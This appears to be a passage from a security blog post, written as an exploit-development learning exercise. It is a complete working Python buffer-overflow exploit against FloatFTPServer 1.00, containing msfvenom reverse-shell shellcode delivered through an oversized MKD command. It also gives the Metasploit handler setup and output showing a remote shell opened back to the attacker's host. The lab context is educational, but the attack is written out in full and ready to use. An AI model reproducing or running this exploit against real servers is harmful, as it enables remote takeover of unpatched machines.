69
70
71
72
73
74
75
76
"""
 This code is part of me learning exploit development in a Windows Environment
 Author: Nik Alleyne
 Author Blog: http://securitynik.blogspot.com
 Date: 2018-01-10
 Exploit For: FloatFTPServer ver 1.00

"""

import socket

def exploit_code():
 # The msfvenom output below was used to generate the shellcode used to establish the reverse_tcp shell
 # msfvenom --platform Windows --arch x86 --payload windows/shell/reverse_tcp LHOST=10.0.0.101 LPORT=4444 --smallest --encoder x86/shikata_ga_nai --bad-chars '\x00\x0A\x0D' --format c --iterations 1

 shellcode = (
"\xd9\xc0\xbd\x72\x6e\xfd\x3f\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x47\x83\xc0\x04\x31\x68\x14\x03\x68\x66\x8c\x08\xc3\x6e\xd2"
"\xf3\x3c\x6e\xb3\x7a\xd9\x5f\xf3\x19\xa9\xcf\xc3\x6a\xff\xe3"
"\xa8\x3f\x14\x70\xdc\x97\x1b\x31\x6b\xce\x12\xc2\xc0\x32\x34"
"\x40\x1b\x67\x96\x79\xd4\x7a\xd7\xbe\x09\x76\x85\x17\x45\x25"
"\x3a\x1c\x13\xf6\xb1\x6e\xb5\x7e\x25\x26\xb4\xaf\xf8\x3d\xef"
"\x6f\xfa\x92\x9b\x39\xe4\xf7\xa6\xf0\x9f\xc3\x5d\x03\x76\x1a"
"\x9d\xa8\xb7\x93\x6c\xb0\xf0\x13\x8f\xc7\x08\x60\x32\xd0\xce"
"\x1b\xe8\x55\xd5\xbb\x7b\xcd\x31\x3a\xaf\x88\xb2\x30\x04\xde"
"\x9d\x54\x9b\x33\x96\x60\x10\xb2\x79\xe1\x62\x91\x5d\xaa\x31"
"\xb8\xc4\x16\x97\xc5\x17\xf9\x48\x60\x53\x17\x9c\x19\x3e\x7f"
"\x51\x10\xc1\x7f\xfd\x23\xb2\x4d\xa2\x9f\x5c\xfd\x2b\x06\x9a"
"\x02\x06\xfe\x34\xfd\xa9\xff\x1d\x39\xfd\xaf\x35\xe8\x7e\x24"
"\xc6\x15\xab\xd1\xcc\x81\x5e\x26\xd1\x34\x37\x24\xd1\xa7\x9b"
"\xa1\x37\x97\x73\xe2\xe7\x57\x24\x42\x58\x3f\x2e\x4d\x87\x5f"
"\x51\x87\xa0\xf5\xbe\x7e\x98\x61\x26\xdb\x52\x10\xa7\xf1\x1e"
"\x12\x23\xf6\xdf\xdc\xc4\x73\xcc\x88\x24\xce\xae\x1e\x3a\xe4"
"\xc5\x9e\xae\x03\x4c\xc9\x46\x0e\xa9\x3d\xc9\xf1\x9c\x36\xc0"
"\x67\x5f\x20\x2d\x68\x5f\xb0\x7b\xe2\x5f\xd8\xdb\x56\x0c\xfd"
"\x23\x43\x20\xae\xb1\x6c\x11\x03\x11\x05\x9f\x7a\x55\x8a\x60"
"\xa9\x67\xf6\xb6\x97\x1d\x16\x0b")

 # variable for the exploide code
 exploitCode = '\x90' * 20 + shellcode

 # setup network socket connection to connect to the FTP server
 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
 myConnection = mySocket.connect(('10.0.0.50',21))


 # make connection via FTP
 mySocket.recv(1024)

 # send login information - username anonymous
 mySocket.send('USER anonymous\r\n')

 # receive the resonse
 mySocket.recv(1023)

 # send the password - securitynik@securitynik.local
 mySocket.send('PASS securitynik@securitynik.local\r\n')

 # receive the response
 mySocket.recv(1024)

 # create a large directory and overflow the buffer
 mySocket.send('MKD ' + 'A'*247 + '\xd7\x30\x9d\x7c' +  exploitCode + 'C'*(749-len(exploitCode)) + '\r\n')

 # receive the response
 mySocket.recv(1024)

 # Quit the FTP session
 mySocket.send('QUIT\r\n')

 # Close the socket connection
 mySocket.close()


if __name__ == '__main__':
 exploit_code()

Setup the msfhandler to accept our incoming connection once the exploit is successful:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
msf exploit(multi/handler) > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.0.0.101
LHOST => 10.0.0.101
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.101:4444 

Once the multi handler has been created, we then execute our script again to make connection with the FTP Server and we get .... Voila a shell ....

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.0.0.50
[*] Command shell session 3 opened (10.0.0.101:4444 -> 10.0.0.50:1035) at 2018-01-11 00:43:04 -0500

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\SecurityNik\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D86F-1D13

 Directory of C:\Documents and Settings\SecurityNik\Desktop

01/08/2018  01:35 AM    <DIR>          .
01/08/2018  01:35 AM    <DIR>          ..
01/04/2018  02:58 AM               745 Easy RM to MP3 Converter.lnk
04/29/2004  05:16 PM            57,344 FTPServer.exe
12/31/2017  10:26 PM               859 WinDbg (2).lnk
               3 File(s)         58,948 bytes
               2 Dir(s)   8,639,336,448 bytes free

C:\Documents and Settings\SecurityNik\Desktop>


We can also see the network connection confirming our connectivity

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       124
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       992
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    10.0.0.50:21           10.0.0.1:56388         ESTABLISHED     124
  TCP    10.0.0.50:139          0.0.0.0:0              LISTENING       4
  TCP    10.0.0.50:1035         10.0.0.101:4444        ESTABLISHED     124
  TCP    127.0.0.1:1026         0.0.0.0:0              LISTENING       1876


We can also further confirm connectivity as a result of looking at the Metasploit sessions:

1
2
3
4
5
6
7
8
msf exploit(multi/handler) > sessions -l

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  3         shell x86/windows  Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Cor...  10.0.0.101:4444 -> 10.0.0.50:1035 (10.0.0.50)

At this point we can conclude this was a successful exercise and thus can close off this post.
 

References:
https://www.fuzzysecurity.com/tutorials/expDev/2.html
https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
https://www.offensive-security.com/metasploit-unleashed/Msfvenom/
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit